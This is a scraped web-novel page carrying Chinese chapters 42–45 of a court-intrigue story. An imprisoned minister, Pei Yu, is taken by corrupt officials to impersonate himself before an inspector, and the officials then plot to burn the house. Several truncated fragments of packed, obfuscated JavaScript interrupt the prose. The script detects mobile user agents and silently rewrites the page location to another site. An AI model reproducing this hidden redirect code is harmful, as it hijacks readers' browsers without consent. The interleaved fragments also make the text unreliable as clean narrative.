35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423034|135820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她宁愿认为他在招摇撞骗,并且毫不犹豫地原谅他,也不愿相信他的真实身份,裴预心里只有苦笑。不知道该感动她对自己人品的认可,还是该忧愁她对自己根深蒂固的误解。 但事到如今也不是再纠结他是谁的时机,现在的问题是,他们要没命了。 他棋差一着死不足惜,只是江蒙,完全是无妄之灾,如果不是他,她现在肯定在回乡的路上,再过半个月,便可和故友重聚。他心里有愧,低声:“是我害了你。” 两人肩并肩坐着,背靠冰冷潮湿的石墙,双手双脚带着镣铐,江蒙仰着头把后脑勺也靠在墙上,望着从上方小小的铁窗透进来的月光。 四下寂静。官府特别为他们准备了一间牢房,据说是关押重刑犯的地儿。 “你害我,我害你,”江蒙喃喃,笑了一声,“到底咱俩谁害了谁,还能说得清吗?” 其实想想,她这条命早在进京城搞刺杀的时候就该没了的,一个人去刺杀皇帝,怎么可能活得成? 她是抱着必死的心去的,只是没想到碰到他,竟不仅活了下来,甚至还保住了村里人。 想做的都做了,想保的人都保了,现在就算去死,其实也没什么。 她对生死的豁达态度让裴预自愧不如。他没办法像她一样,毫无不甘地赴死。 他扭过头望向江蒙,月光从那又高又小的铁窗里洒下来,她侧脸浸在如水月光里,闭着眼睛,鼻梁高挺,神情一派安然。这不是他第一次凝视月色里她的侧脸,但恐怕是最后一次了。 “我和你正相反。”他苦笑。 江蒙睁开眼睛。 她也扭过脸,那双浓黑的眼睛便和他对视,四目相接,近在咫尺。 “我……”裴预喉结上下滑动一下,缓慢道,“我不甘心就这样死掉。” “不甘心?” “我还有大错没有修正,”裴预眼睛里划过一丝隐痛,“我还有愧于重要的人。” 江蒙静静道:“你看上去要哭了。” 裴预愣住,极快地眨了下眼睛,才感到眼眶有一点冰凉,将滴未滴。他慌忙低下头,用绑着的双手蹭了蹭眼底,到底没有掉下泪来。 真丢人,他哭笑不得地想,上一次哭是什么时候?好像也是在她面前,那时是从土匪窝里逃出来,太狼狈太凄惨,以至于他崩溃到落泪。 ……六岁以后就没在人前如此失态了,短短不到俩月的时间,却让她两次看到自己流泪。 她该认为他软弱了。 “没关系,想哭就哭。”江蒙道,“你要是觉得难为情,我可以陪你一起。” 裴预笑了。 江蒙扭过头,眼睛看着前方,忽然说:“我有个办法。” 42. 第42劫 转机 “什么办法?”裴预蓦然转头。 尽管他心里知道她不可能有什么办法,大概又是舍命之类,但当他真的听见她说明日提刑时她拖住狱卒,让他趁机跑时,心里还是五味杂陈。 江蒙的想法很简单,既然他那么不甘心,还有那么多事想做,那就尽力保他出去。至于她?反正她也已经没什么遗憾。 裴预望着她,这下他真想哭了。 他不留余地地否决掉她的提议。两人又陷入沉默。不说话,这空荡的石牢里便彻底寂静下来,连水滴下的声音都能听见。 一滴,两滴。 上一次虽然也是坐牢,但他毕竟心中有数,知道侍卫们不日便能找到这里来,所以丝毫不慌。那时周围又都是人,闹哄哄的虽然吵,但颇有人气儿。 不像此时此刻,死寂一片,而他又心知毫无生机。 江蒙打了个哈欠:“困了,我先睡了。” 裴预:“……” 他暂时都忘记了绝望,对这家伙简直无语:这是真爱睡觉啊。 江蒙调整了个姿势,双手抱在胸前,靠着墙闭上眼。裴预无奈地看着她侧脸,心想自己要不也学习一下她,管明天死不死,今天该睡就睡。他靠到墙上,闭上眼睛。 却忽然听见门外传来铁锁晃动的声音。 裴预瞬间坐直身体,扭头,江蒙也睁开了眼睛。两人都从对方眼睛里看到惊诧和兴奋。 这个点来人,定然不是来提刑,听脚步声,来的人不多。两人死死望向牢门口。 牢内并未点灯,漆黑一片,他们就见从走廊那头映出一点火把的光,愈来愈盛。 最前头是几个点头哈腰的狱卒,领着一个身穿官服的男人,裴预认出那正是白日坐堂的县太爷。他心中疑窦丛生,这人大晚上的跑这儿来做什么? 到了跟前,那县太爷却把身子一低,殷勤地伸出只手,将身后的人让了出来。两人这才发觉他后面还跟着个人,身着便服,看衣料低调但价格不菲,模样挺斯文,五十岁上下的男人。 狱卒们把火把往前伸,裴预被照的眼花,皱眉躲了一下。 “就是他?”那男人不紧不慢道。 “正是。”县太爷殷勤答道。 “带走。” 那男人撂下两个字,转身便走,县太爷紧随其后,临走前给狱卒使了个手势。那狱卒忙上前来开牢门的锁,裴预和江蒙二人面面相觑,不知道发生了什么。 江蒙试图跟那狱卒搭话,想聊聊方才那人究竟是谁,他又要把他们带到哪儿去。谁知那狱卒守口如瓶,二话不说,就开门进来,冷笑一句道:不是你们,只有他。 他抓住裴预的胳膊。 两人俱是一惊,现在这个节骨眼上只带走一个人,显然不是什么好事。江蒙立马挡到裴预身前,拿肩膀狠狠顶开狱卒,把那人冲的一个趔趄。那狱卒嘴里“嘿”了一声,朝旁边使了个颜色,两个狱卒便齐齐走过来,先把江蒙这个刺头抓住。 江蒙左冲右突,但毕竟双手双脚带着镣铐,难以招架,不多时便被按在了地上。脑袋被一只大手狠狠压在潮湿的稻草里。 裴预挣扎着跪下来试图挥开她身上的手,望着她被压在地上的脸,愤怒和心痛交织。但他很快也被狱卒架起来,往外拖去。 江蒙:“别走。” 他看着她满是血丝的眼睛,心如刀绞,想说什么,却被强拉着拖出了门。 “别担心。”最后裴预只来得及丢下这一句话。 他嘴里被一团抹布堵上,一股臭而苦的味道,口腔被撑的发酸。他拖着沉重的镣铐,被两个狱卒一左一右夹着,朝牢外走去。 夜幕低垂。 出了牢门,他们却把他带到衙门后头的一扇小门,那儿停着一大一小两顶轿子,最前头的家仆提着盏八角灯笼。 他被塞进了那只小轿,轿门“啪”的被关上,传来上锁的声音。他尝试踹了一脚,果然没踹开。 轿内漆黑一片,因为窗子都被钉死了,只留几线缝隙透气。裴预把脸贴上去,眼珠被微弱的月光照的透亮,但看不见外面,只能听到县令谄媚的声音,说着“替下官给大人带好”之类的话。 不一会儿,他感到轿子被人抬了起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13594131|135820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' * 轿子最终在一处颇为气派的私宅前停下,侧门早已有仆人接应,那中年男人下了轿,跟在裴预的小轿后头,一路进了宅子,穿过花园,到书房门口停下。 已是深夜,书房内却还是灯火通明。 轿门打开,裴预被几个家丁打扮的男人从轿子上拉下来,他迅速看了看周围,发觉自己在一处府邸中时,不由得皱了皱眉。那中年男人领着他站在门口,恭敬道:“主人,人带来了。” 几乎是立刻,里头传来一个男人声音:“带进来。” 裴预便挂着铁链子,塞着嘴巴,被带了进去。 他不动声色地打量眼前的男人。 此人看年纪将近五十岁,身着一件酱色府绸长衫,下巴蓄须,脸上有种焦躁的表情。他也站着,看上去一直在等人,见到裴预,浑身竟然一震,嘴巴都不自觉张开。 “太像了……”他喃喃。 裴预在心中冷笑:就是本尊,能不像么? 他觉得眼前这人眼熟,略思索一下,想起他是韩一成的门生,去年被派来这里做刺史。他自然是见过自己的,所以才这么吃惊。 “你,”那刺史恢复镇定,只是声音还有些紧绷,“你可知道我是谁?” 裴预眯了眯眼睛。 事情和他想的并不一样,他好奇他们究竟是何用意?若是想杀他,明日午时一到斩下他头颅,拎着去给姓韩的交差就是。又何必大费周章,深更半夜地掩人耳目把他带到他的府邸? 可他也不会天真到觉得韩一成的人会想救他。 “怎么不回话?”刺史提高声音。 一旁管家恭敬道:“主人,他嘴巴还堵着呢。” “哦。忘了。”那刺史一挥手,“给他松绑。” 裴预捏了捏自己发酸的下颌,仍在思索。他如果坦陈自己的身份,事情必然会有转机,只是会往好的方向,还是坏的方向? “说话!”刺史不耐烦了,大声喝道。 “嗐,老刘,你让他说什么?”这时门外传来第二道声音,“他一个假货,怎么会认得你是谁?” 43. 第43劫 谈判 刘刺史最近过得不太好。 这事儿还得从两年前说起,那时他接到调任,顶掉了裴右相的人,来本州做刺史。刚到他就发觉不对劲——本州全是烂账! 各地粮仓存粮数额对不上,年年拨付赈灾粮,可粮仓里就是没粮食,问就是赈给百姓了,至于发了多少?账本丢了,不知道。 他当时就上书朝廷希望严查前任,可那时裴右相如日中天,大家怎么敢动他的人,因此他这点声音自然被压了下来。 刘刺史那个苦闷,想撂挑子不干,韩左相又三番五次来书信说,对他寄予厚望,本州位置特别,希望他能坐镇好。 这意思,他现在要是敢撂挑子,以后就再没挑子给他了。 没办法,刘刺史只好做下去。 平心而论,他自认为还是个好官,谨小慎微,大致清廉。家里几亩田地,租了个小宅子,一个夫人一个女儿,跟着他也没吃过见过什么好东西。 这个刺史做的也不舒服,本州官员铁板一块,他一个韩相的人空降过来,虽然官最大,但架不住底下人抱团,很快就被架空了。事事都不让他知道,就算知道他也拍不了板,说话跟放屁没两样。 大丈夫做到这份上,真是憋屈。 事情的转机出现在司马邀请他家中做客。 司马科考那年主考官是裴右相,因此司马是裴右相的门生,跟他本该是水火不容。事实也是如此,这一年来他说朝东司马朝西,他问猴子司马答痦子。 那么这个邀请,究竟是鸿门宴,还是? 刘刺史心想管他鸟事!就算是鸿门宴,爷们儿也要去,他倒要看看这帮人还能对他怎么着。 还敢杀了他不成?! 雄赳赳气昂昂到了司马府上,刚到大门口,他忽然就有点儿软。 太气派了。 司马很客气,司马很殷勤,司马怎么会这么有钱? 席上玉盘珍羞,妖童媛女,刘刺史恍恍惚惚。回到家,看着妻女身上的衣裳,突然就觉得很寒碜。 那之后他和司马的关系好了不少,事情逐渐变得好了起来,他不再受排挤,说话开始有分量,宅子换了,下人买了,妻女身上的衣裳也越来越漂亮了。 做官的良心? 能值几个钱? 其实赚钱这事儿不难,无非是虚报几个灾情,等赈灾粮下来,从上到下层层分出去,每个人都能赚到钱。无非是在文书上多添几个数,军饷拨下来,那几个虚数该领的就进了自己口袋。 轻而易举。 巡按来查?银子塞够了,回京自然会说好话。 他们最不缺的就是银子。 易如反掌。 然而人有朝夕祸福,天有不测风云,突然朝廷就说什么要远征,要筹措军粮。 这下可麻烦了,本州的粮仓都是空的,账册上的数字都是虚的而已,他们哪儿有粮交?没办法,只好去问百姓要。偏又赶上瘟疫——不是他们虚报的那种,而是真正的瘟疫——百姓就是死也榨不出来粮食了。最后还逼反了几个。 于是引起了上头的注意,一个月前,派巡按过来调查。 这真是事事不顺,火烧眉毛。 甚至这次送去的银子,也被原封不动退了回来。刘刺史心中一咯噔,这是碰上硬茬了。 他惴惴不安地望向一旁的巡按。 没想到他居然会亲自来粮仓检查,还是突然袭击,接到线报之后他匆匆忙忙赶过来,就见巡按大人面无表情地站在院中,冷眼看手下检查粮仓。见着他,也只是冷淡打了个招呼。 刘刺史心里大骂,拽什么拽?但表面上还是恭恭敬敬,陪着笑说您怎么突然来了,说完狠狠瞪了粮官一眼,那意思是你小子怎么就放巡按进来了。粮官也只好苦笑,他拦不住啊。 车上垒满了粮袋,手下们每辆车扎破一个袋子,稻谷从小孔中流出来。 刘刺史和粮官对了个眼神,稍微松了口气,心说这小子总算还是做了点事。 他刚过去想跟巡按说话,让这事儿到此为止,请对方打道回府,却没想到巡按好像压根没看见他似的,径直走到粮车旁边。 他没有看被检查的粮袋,而是拿手在最底下的袋子摸来摸去,刘刺史看见粮官脸色变了,他心道不妙,然而还未来得及阻止,巡按已经抽出一旁手下的佩刀,戳进了麻袋。 泥土沙石倾斜而下。 这下刘刺史彻底坐不住了,跟司马商量该怎么办。司马大骂,说这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687594|135820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种事儿全国上下稀罕吗?在朝为官的有几个清白的?至于这样较真,把人逼上绝路吗? 但说气话归气话,办法还是要想,司马很快摸清这个巡按的底细,原来他也是裴右相的人。虽然裴右相现在已经死了,但好歹也算是曾经都在一个座下,凭着这层关系,司马把巡按请到了家中。 席上宾主尽欢,司马试探巡按的态度,巡按当他是自己人,说出了一个惊天秘密。 裴右相没有死。 甚至他此次前来就是奉了裴右相之命。一个月前,他在府中接见了右相的亲信,柳烟姑娘。她带来一封裴相的亲笔书信,上面简单讲明了刺杀的来龙去脉,并告诉他现在他在暗,韩左相在明,正好可以借此查明很多事情。 比方说远征军粮筹措一事。 得知这个消息的司马慌忙找到刘刺史。难怪巡按这次这么硬,原来是带着裴右相的任务来的,这么看来让他闭嘴是不可能了,本州的事情一定会被捅出去。 到时他们别说乌纱帽,就连这颗脑袋都保不住。 那几日刘刺史愁的饭都吃不下。 可天无绝人之路,事情竟真的出现了转机。 一个冒充裴右相的骗子。 “竟能如此相像?” “简直一模一样。”司马看着画像道。 刘刺史摸着下巴不说话,半晌:“我想到个法子。” 这招颇为诡谲,但也是没办法的办法。既然他巡按要去西天面见如来佛,他们又有了个如此之像的黄眉怪,那为什么不做个小雷音寺,让巡按去那儿告状? 到时让这骗子吓唬巡按两句,自然能让他改变主意。 司马听完大为震撼。 老兄,你天才啊? 死到临头不能不做最后的挣扎,刘刺史和司马传令各县,如有抓到假冒裴右相的骗子,第一时间通报府中,不得私自处理。 功夫不负有心人,还真让他们抓到了。 立马连夜把人带过来,又去通知司马,把人从床上叫起来到自己府中。 现在这个黄眉大仙就站在眼面前,刘刺史和司马对视一眼,心里却开始打起了鼓。 这也太像了。 该不会是个真的吧? 44. 第44劫 放人 裴预在见到本州司马的那一瞬间就感到了不对劲。 司马叫他恩相,他对这个人也有印象,科考之后的宴会上他曾见过一次,后来举荐来了本州。 他的人,怎么会和韩左相的人混在一起?更何况深更半夜能到对方府中,可见关系匪浅。 这里头一定有猫腻。 裴预心生疑窦,于是没有暴露真实身份,顺着他们意思往下说,想看看究竟是怎么一回事。越听,脸色越差。 原来是这样。 一个多月前他在豆城和柳烟兵分两路,他南下去见大将军,让柳烟回京中打点。“死”了一次之后,他反而看得更清楚,发觉很多事情并非他“生前”听到的那样,什么兵强马壮、军粮充足……有待考证。 没想到,蛀虫自己跳到他眼面前了。 他们想的法子不得不说十分出人意料,荒唐中带着些异想天开,看得出是被逼到绝境了。不过这样也好,他可以借此让江蒙脱身。 想到她,他不自觉地蹙眉,一个无意识的担忧的表情。 但刘刺史坚决地拒绝了他。 他认为裴预没有资格跟他们讨价还价,另外那个女人他们还有用,可以用她做要挟,以免这小子到时候胡说八道。 “你要么现在答应我们,事后夫妻安全。”他道,“要么现在就去死。只有这两个选择。” 他好歹也是当了这么多年官,一个小小的骗子,他还能压不住他?刘刺史瞪着裴预,气势带上些威煞。 裴预无动于衷。 这两个色厉内荏的蛀虫,他早把他们看透,别看他们现在凶神恶煞好似很强硬的模样,实际上根本不敢动他这根救命稻草。 他似笑非笑地等着。 “二位大人犹豫什么呢?”他冷笑,“事后你们只需要用我的脑袋就可交差,何必再多要我老婆的?” 他干脆挑破了他们那点小心思。 刘刺史和司马面面相觑。 到底是敢冒充裴右相的人,脑瓜还挺机灵,看穿了他们只是要暂时借他一用,事后自然不可能放了他,还是要杀掉他向上交差的。 “你虽说是个骗子,倒还挺有情有义。”最后刘刺史不得不妥协,“看在你们伉俪情深的份上,本官允了。” …… 第二日天刚亮,江蒙便被扔出了大牢。 她一晚上没有合眼。睡不着。现在满眼血丝,蓬头垢面,活像个疯子。 她一把抓住狱卒衣裳,“你们把他带哪儿去了?”她瞪着两只通红的眼睛,“为什么把我放了?” 狱卒“啧”了一声。 这女人真奇怪,都把她放了,正常人捡回一条命不应该是感激涕零,立马跑路么,怎么还在这里纠缠。问他为什么?他怎么知道为什么。 但这女人真是个犟种,不得到回答就是不罢休,打又打不跑,骂也骂不走。狱卒被缠的没法子,只能大声道:“你男人昨日被杀头了!”他一把将自己的衣角从江蒙手里扯回来,“他临死前保了你,还不懂么?” 江蒙呆了。 尽管她已经有预感,但真正听到裴预死了,还是无法接受。好似三魂去了七魄,她整个人僵在原地,呆住了。 狱卒也不管她,赶紧乘机回了衙门。 裴预放下轿帘。 “不多看会儿?”刘刺史在一旁悠悠道,“这可是见你夫人的最后一面了。” 他们的轿子就在不远处,方才江蒙和狱卒的一举一动,都被二人看的分明。 裴预沉着脸:“够了。” “也好。”刘刺史道,“你可看到了,贤伉俪已经被放走了。你最好老实点儿按照我们说的做,否则,我们能放了她,就能再把她给捉回来。” 话说到最后,声音里的阴毒毫不掩饰。 裴预没有回答,只冰冷地望向刘刺史:“带我去见那人吧。” 接见的场所被安排在了司马的一处私宅,地方稍微偏僻,但极为气派富贵,也符合裴相的身份。裴预早被洗刷一新,穿上好衣裳,坐在大堂的主位上,闲闲地喝茶。 他此时再无一点阶下囚的狼狈,面若冠玉、丰神俊朗,即将面对高官,神情里却一丝畏缩紧张也无,更是一点儿也没把地上站着的刘刺史二人放在眼里。 那派头,真货来了也不过如此。 “这骗子是个人才。”刘刺史心里嘟囔一句,本来还担心他会不会慌张畏惧,导致露馅,现在看来是多虑了。他抓紧时间又向裴预交代几句,裴预只淡淡的应下。 这时有小卒飞奔而来,说巡按大人马上就到。 刘刺史和司马便连忙躲到西面耳室中去。 两个本州的高官,你面朝我,我面朝你,耳朵紧紧贴在墙壁上,凝神听外头的动静。 从巡按进门、拜会,一阵嘈杂过去后,所有下人被屏退,安静下来。 大堂内,裴预让巡按坐下。 “这茶不错。”他示意巡按,“狮峰龙井,是上品。” 巡按诚惶诚恐地端起茶,抿了一口,香气扑鼻,唇齿回甘,果非凡品。 “好茶,好茶。”他附和地赞叹,放下茶杯,有些惴惴地望向上首的裴预,试探道:“右相如何会在这里?” 今日司马忽然到他府上,说裴右相有请,他大吃一惊。一来是没想到裴相会在这里,二来是疑惑怎么会召见他?不应该等他回京再见么? 眼下有人冒充裴相的传言沸沸扬扬,不由得他不多心。 耳室里的两人竖起耳朵。有些紧张地听外面人如何回答。 “这你无需知道。”裴预轻描淡写道,“召你前来,是为本州激起民变一事,原因查的如何了?” 两人松了口气,这回答很过得去。 巡按果然不再纠结这事,转而语气沉重道:“恩相,下官在本州巡视这一月来,发现问题多且严重。本想回去上个折子向您陈明,没想到今日有幸得恩相召见,那下官现在便简单说说。” 他刚要开口,裴预却摆摆手打断他,又冲他招招手。 这是让他凑近的意思,巡按有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702952|135820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些疑惑,但还是低头凑过去。就听裴相低声问他:“落月斋,你带了多少人手过来?” 巡按一顿,方才那点儿疑虑消失的无影无踪,落月斋是他书房的名字,所以他给自己取了个号,叫落月斋主人,只有极亲近的人才知道。一个骗子,是无论如何不可能叫出来的。 于是他也低声答道:“下官带了二十名护卫。” 他知道自己是本州官员的眼中钉、肉中刺,所以不管去哪儿都小心谨慎,至少要带上二十名护卫。这次也不例外。 裴预微笑:“让他们分两个人等在窗口。马上有好戏看了。” 巡按摸不着头脑,但还是照着裴相说的去做,到门口轻声嘱咐侍卫守住窗户。 里头的两人都快急死了。 巡按刚说完话,忽然就没动静了,两人恨不得把耳朵钻进墙里,也愣是什么也没听见。倒是过一会儿,却听见一个人的脚步声走向门口,紧接着门开的声音。 两人一惊:不会是那小子跑了吧?! 不,他不敢。 先前他们已经警告过他,如果乱来,他夫人会立马被重新抓起来杀头。他也别想着冒充裴相骗巡按救他,他们有他的卷宗和证据,他骗不过去。 过了一会儿,果然那脚步声又返了回来。 二人松了口气。 司马用气声破口大骂:那小子搞什么名堂! 刘刺史压了压手,示意他小点儿动静,毕竟他们和外头只有一墙之隔,万一被发现可就完了。他们没办法跟巡按合理地解释自己为何在这儿。 外头巡按开始禀报查到的情况。 首先是激起民变的原因,确乎是因为官府的横征暴敛,顺着这个线索往下查,发现这后头竟然是一桩持续长达五年、牵涉整个本州官员的贪腐大案。 本州从五年前起,官仓就已经空了。 按照规定,官府应当在丰年高于市价买入农民的粮食,再在欠年以同样的价格卖出去,以起到平抑粮价、帮助农民度过灾年的作用。 但这项规定也有个明显的不足之处,那就是粮食会腐败,丰年收入的粮食,若是保存不当,第二年便无法食用。也许等到灾年,早腐烂成一堆泥了。为防止这种情况,朝廷又规定,若第二年不是欠年,官府可将上一年官仓内的粮食自行卖出,所得银两充实地方财政。 本州的官府便是钻了这条规定的空子。 根据这条规定,官府将官仓内粮食卖给大户,便是合法合理的。于是他们从农民那里贱价收来的粮食,转手便以低价卖给大户,卖粮所得入账。而大户往往会奉上丰厚“礼金”,这些钱就进了官员的口袋。 对于大户来说,从官府那里买的粮食价格远远低于市价,哪怕再加上天价贿赂,这笔买卖仍然大赚。 到了灾年,官府自然无粮可赈济。这时大户便出来用粮买田,八石粮食一亩,农民饭都吃不起了,自然无法拒绝。 就这样,农民种出来的粮食转了一圈又回到自己手里,自己的田却变成了大户的田。 45. 第45劫 密谋 除此之外,还有虚报灾情,骗取朝廷赈银;克扣军饷,吃人头费等等,种种勾当,触目惊心。 里头二人听得心惊肉跳,巡按知道的比他们以为的还要多,幸而提前把他截了下来,不然上报给朝廷,他们就是灭九族的下场。 两人你看着我,我看着你,脸上都浮现出死里逃生的神情。 “你说的这些,我知道了。”裴预道。 他顿了顿,语气沉重:“一个月前我给你写信时,没想到情形会糟糕至此。” 那时他已经意识到,自己在很多事情上都被蒙蔽了,现实远不像他和陛下想象的那般,官仓里足够全国人吃二十年的余粮或许不存在,账面上足够支持远征的钱或许也不存在。 但当他真的终于看清事实时,还是觉得未免太血淋淋。 巡按深深叹口气。 “你如何看待远征之事?我想听听你的想法。”裴预忽然问。 巡按犹豫了。 “这……”他迟疑该怎么说。 平心而论,他自然是觉得远征就应该立即叫停,这么一场动员百万、行军半个疆域的战事,要耗费多少钱粮?简直是个无底洞。国家负担不起,百姓负担不起。 可若是叫停…… 这事儿相当复杂,一来,这是皇上和裴相筹划多年的国策,准备也是从去年就开始准备了,突然叫停,不仅让所有准备都打了水漂,而且这让圣上和裴相的脸往哪儿搁。朝令夕改,是为政者的大忌。 二来,韩左相素来反对远征,他与裴相又是水火不容的死对头,若是真的叫停,岂不是正合韩左相之意,以后朝堂上他必然要势头大涨、春风得意了。他自己是裴相的人,这种情况他不乐意看到。 更何况…… 巡按抬眼看了裴预一眼。眼前这位裴相,少年天才,野心也大,他是要奔着本朝史书里“名臣列传”去的。远征一事,弄好了那可就是开疆拓土,是响当当的功绩,足以让他青史留名的,他又怎么舍得轻易放过? “嗯……”巡按沉吟了一会儿,斟酌着开口,“兹事体大,关乎国家前程,关乎圣上和您……” “不说那些官话。”裴预打断他。 “这,”巡按顿了顿,决定还是顺着裴相,“远征一事看似难,其实也并非不可行,这两年先苦一苦百姓,先把军粮筹措起来……” 他的话被一声闷响打断。 “谁?”他立马紧张地望向声音来源,似乎是西面的墙壁。 …… 不久之前,在裴预说到“信”的时候,耳房内的刘刺史和司马瞬间愣住,面面相觑。 信? 什么信? 他怎么会知道信的事儿? 刘刺史一脸菜色,转头望向司马,用口型问他:你跟他说过这事? 司马惊恐地摇头。 “唰”的一下,两人的脸血色褪的干干净净。 裴右相给巡按寄信这事儿,只有巡按、司马、刘刺史知道,他们谁都没说过,所以骗子是不可能知道的。 而他现在却说出了这事儿。 也就是说,他是此事第四个知情者。 裴右相本相。 司马两眼一翻,“嘎”一声就往后一倒。 刘刺史赶忙一个箭步上去拽住他手腕,才没让人摔地上去,但拉扯时司马头撞到墙上,“砰”的一声闷响。 “谁?”外头传来巡按紧张的声音。 刘刺史浑身一僵,维持着前弓步的姿势,一动也不敢动。司马一只手被他拽着,整个人坐在地上,上半身往后仰。他是个两百多斤的大胖子,刘刺史拉的胳膊都疼。 “无事,坐下。”裴预悠悠的声音。 外头又说起话来,刘刺史这才松了一口气,把司马拽过来轻轻放到地上。他真想大耳刮子把他扇醒,但又怕发出动静,只得掐他人中。 掐了一会儿司马终于要醒的样子,刘刺史手疾眼快,一把捂住司马嘴巴,才没让他发出声来。 “嘘!”他恶狠狠地做了个手势。 司马眨巴眨巴眼,表示知道了。感觉头有点疼,摸了摸,老大一个包。鼻子下面也有点疼,手一蹭,居然还有点血丝。 但现在不是计较这些的时候,他鼻子下面挂着带血的指甲印,紧张地用口型问:怎么办?! 怎么办? 刘刺史哪里知道,脑子里已经乱成了一锅粥。 他恨这个巡按,更恨这个姓裴的,他明知道他们就在旁边的耳室,却故意不戳穿他们,不就是想折磨他们取乐? 他寒窗苦读十六年,好不容易做了个官,好不容易让家里妻女过上几天好日子……他想起家里的黄脸婆,想起闺女小脸蛋上的傻笑,一想到她们要跟着他一起被押上刑场杀头,他的心都要碎了。 不能这样。 绝对不能这样。 刘刺史心中百转千回,一个更加大胆的念头逐渐成型: 除掉他们。 这姓裴的能沦落到蹲大牢,不知是出了什么变故,总之可见他身边没侍卫,没人知道他在这儿。巡按是个异地官,没有根基,况且这次也是秘密前来,也没人知道他在这儿。 他们现在要做的,就是无声无息地先脱身,下令把这宅子围住,然后一把火烧了。 把他俩都烧死再这里,再销毁证据,死无对证。 刘刺史下定决心,便无声地对司马道:我们先神不知鬼不觉地出去,再下令放火烧死他们。虽然巡按死了,你我交代不了必会丧命,但起码可以保住家人。 司马:啊? 句子太长,他看口型看不出来。 刘刺史:“……” 他急的想说话,但又不能,只好用手势比划。 我们,他指了指自己又指了指司马,我们,你懂吗? 司马恍然大悟:哦,我们。 “神不知鬼不觉”太难比划,刘刺史索性放弃,伸出食指中指朝下,比作一个小人,迈着腿跨过手掌:出去。 司马看懂了,狂点头:哦哦出去。 然后放火烧死他们。刘刺史一口气说完。 司马:? 老兄你能慢点儿说吗? 先告诉我几个字儿啊? 火啊!刘刺史急了,两只手哗啦啦地旋转着往上升,比划出火焰的形状。然后又疯狂指了指外头,示意“他们”,最后手掌狠狠一抹脖子,两眼一翻舌头一吐,装死。 司马:??? 司马不理解,司马看不懂,司马汗都流下来了。这一套丝滑小连招看的他是头晕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715636|135820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目眩,愣是一个字儿也没猜出来。眼看着刘刺史要暴跳如雷,他犹豫着开口,无声地问: 长翅膀飞过去砸死他们? 刘刺史:“……” 笨啊! 这都什么乱七八糟的,朽木不可雕,拉倒。他放弃解释计划,总之先抓紧时间出去,出去以后再说。这次司马看懂了,连连点头。 可问题是,他们要怎么出去? 耳房在正厅两侧,只有一扇门,出去就是正厅。所以不能走门,只能走窗户。可这房间是用作仓库的,所以只有一扇小小的四四方方的窗户透气,在离地一人多高的地方,他们伸长手也够不着。 跳起来也够不着。 没办法,只能一个托着另一个先上去,刘刺史比划:你在下头扎个马步,我踩着你肩膀上去。 司马看懂了,但他有点不乐意,五十岁的人了谁愿意被别人踩?而且为什么是他被踩?就因为他官比刺史低一级吗?官大一级压死人……可他这个司马含金量很高的,又要掌管钱粮又要掌管兵将…… 刘刺史恨不得拽起他领子吼:老兄,是这个原因吗?有没有一种可能,是因为你两百多斤我架不动你? 平时叫他少吃点就是不听,每天去酒楼胡吃海塞喝花酒,不胖死才怪。 但眼下最重要的是先出去,刘刺史懒得跟他争,索性自己马步一扎,拍拍肩膀:来!于是司马咽咽口水,两手在身上蹭蹭抹掉油汗,心一硬:爬! 